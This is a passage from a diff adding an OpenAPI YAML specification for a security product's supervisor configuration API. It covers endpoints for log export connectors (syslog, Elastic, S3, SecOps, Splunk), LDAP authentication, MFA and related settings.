+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_es_ilm_indices__policies_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_es_ilm_indices__policies_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/es_ilm_indices__policies/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_es_ilm_indices__policies_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/es_indices__replicas/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_es_indices__replicas_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_es_indices__replicas_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/es_indices__replicas/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_es_indices__replicas_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/event_stacktrace/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_event_stacktrace_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_event_stacktrace_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/event_stacktrace/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_event_stacktrace_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_export_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_export_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - enum:
+            - rfc3164
+            - rfc5424
+          in: formData
+          name: rfc
+          required: false
+          type: string
+          x-nullable: true
+        - enum:
+            - ssl-tcp
+            - tcp
+            - udp
+          in: formData
+          name: protocol
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - agent
+              - agentlog
+              - alert
+              - amsi_scan
+              - auditlog
+              - authentication
+              - bpf
+              - connectionlog
+              - dns_resolution
+              - driverload
+              - eventlog
+              - experimental_alert
+              - file
+              - group
+              - informational_alert
+              - injectedthread
+              - investigation
+              - kube_pod_event
+              - library_load
+              - named_pipe
+              - network
+              - network_listen
+              - powershell
+              - process
+              - process_access
+              - process_duplicate_handle
+              - process_ptrace
+              - process_tamper
+              - raw_device_access
+              - raw_socket_creation
+              - registry
+              - remotethread
+              - resource
+              - scheduled_task
+              - threat
+              - url_request
+              - usb_activity
+              - user
+              - win32k_get_async_key_state
+              - win32k_register_raw_input_devices
+              - win32k_set_windows_hook_ex
+              - windows_service
+              - wmi_event
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: app_name
+          required: false
+          type: string
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: source_host
+          required: false
+          type: string
+        - in: formData
+          minLength: 1
+          name: structured_data
+          required: false
+          type: string
+          x-nullable: true
+        - default: false
+          in: formData
+          name: exclude_rule_content
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_export_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_export_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - enum:
+            - rfc3164
+            - rfc5424
+          in: formData
+          name: rfc
+          required: false
+          type: string
+          x-nullable: true
+        - enum:
+            - ssl-tcp
+            - tcp
+            - udp
+          in: formData
+          name: protocol
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - agent
+              - agentlog
+              - alert
+              - amsi_scan
+              - auditlog
+              - authentication
+              - bpf
+              - connectionlog
+              - dns_resolution
+              - driverload
+              - eventlog
+              - experimental_alert
+              - file
+              - group
+              - informational_alert
+              - injectedthread
+              - investigation
+              - kube_pod_event
+              - library_load
+              - named_pipe
+              - network
+              - network_listen
+              - powershell
+              - process
+              - process_access
+              - process_duplicate_handle
+              - process_ptrace
+              - process_tamper
+              - raw_device_access
+              - raw_socket_creation
+              - registry
+              - remotethread
+              - resource
+              - scheduled_task
+              - threat
+              - url_request
+              - usb_activity
+              - user
+              - win32k_get_async_key_state
+              - win32k_register_raw_input_devices
+              - win32k_set_windows_hook_ex
+              - windows_service
+              - wmi_event
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: app_name
+          required: false
+          type: string
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: source_host
+          required: false
+          type: string
+        - in: formData
+          minLength: 1
+          name: structured_data
+          required: false
+          type: string
+          x-nullable: true
+        - default: false
+          in: formData
+          name: exclude_rule_content
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_elastic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_export_elastic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_export_elastic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportElastic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_elastic/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_export_elastic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export_elastic/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_export_elastic_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportElastic'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_s3/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_export_s3_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_export_s3_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: url
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: bucket
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: object_prefix
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: access_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: secret_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: region
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - alert
+              - authentication
+              - dns_resolution
+              - experimental_alert
+              - file
+              - informational_alert
+              - injectedthread
+              - library_load
+              - network
+              - network_listen
+              - process
+              - raw_socket_creation
+              - remotethread
+              - url_request
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_s3/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_export_s3_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export_s3/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_export_s3_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: url
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: bucket
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: object_prefix
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: access_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: secret_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: region
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - alert
+              - authentication
+              - dns_resolution
+              - experimental_alert
+              - file
+              - informational_alert
+              - injectedthread
+              - library_load
+              - network
+              - network_listen
+              - process
+              - raw_socket_creation
+              - remotethread
+              - url_request
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_secops/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_export_secops_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_export_secops_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSecops'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_secops/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_export_secops_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export_secops/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_export_secops_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSecops'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_splunk/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_export_splunk_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_export_splunk_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSplunk'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/export_splunk/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_export_splunk_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/export_splunk/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_export_splunk_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSplunk'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/glimps/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_glimps_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_glimps_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditGlimps'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/glimps/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_glimps_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/glimps/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_glimps_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditGlimps'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/hibou/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_hibou_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_hibou_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Hibou'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/hibou/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_hibou_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/irma/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_irma_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_irma_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditIrma'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/irma/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_irma_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/irma/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_irma_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditIrma'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/ldap_auth/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_ldap_auth_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_ldap_auth_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - default: false
+          in: formData
+          name: use_tls
+          required: false
+          type: boolean
+        - in: formData
+          name: validate_server_certificate
+          required: true
+          type: boolean
+        - default: false
+          in: formData
+          name: use_client_side_certs
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: base_dn
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          name: active_directory_domain
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_username
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_password
+          required: false
+          type: string
+          x-nullable: true
+        - format: uuid
+          in: formData
+          name: default_group
+          required: false
+          type: string
+          x-nullable: true
+        - default: active_directory
+          in: formData
+          minLength: 1
+          name: type
+          required: false
+          type: string
+        - default: person
+          in: formData
+          minLength: 1
+          name: user_object_class
+          required: false
+          type: string
+        - default: sAMAccountName
+          in: formData
+          minLength: 1
+          name: user_field_id
+          required: false
+          type: string
+        - in: formData
+          name: client_public_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: client_private_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ca_certifications
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: test_username
+          required: false
+          type: string
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/ldap_auth/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_ldap_auth_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/ldap_auth/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_ldap_auth_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - default: false
+          in: formData
+          name: use_tls
+          required: false
+          type: boolean
+        - in: formData
+          name: validate_server_certificate
+          required: true
+          type: boolean
+        - default: false
+          in: formData
+          name: use_client_side_certs
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: base_dn
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          name: active_directory_domain
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_username
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_password
+          required: false
+          type: string
+          x-nullable: true
+        - format: uuid
+          in: formData
+          name: default_group
+          required: false
+          type: string
+          x-nullable: true
+        - default: active_directory
+          in: formData
+          minLength: 1
+          name: type
+          required: false
+          type: string
+        - default: person
+          in: formData
+          minLength: 1
+          name: user_object_class
+          required: false
+          type: string
+        - default: sAMAccountName
+          in: formData
+          minLength: 1
+          name: user_field_id
+          required: false
+          type: string
+        - in: formData
+          name: client_public_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: client_private_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ca_certifications
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: test_username
+          required: false
+          type: string
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/mfa/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_mfa_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_mfa_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFA'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/mfa/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_mfa_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/network_discovery/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_network_discovery_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_network_discovery_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/network_discovery/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_network_discovery_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/new_threat_aggregation/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_new_threat_aggregation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_new_threat_aggregation_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
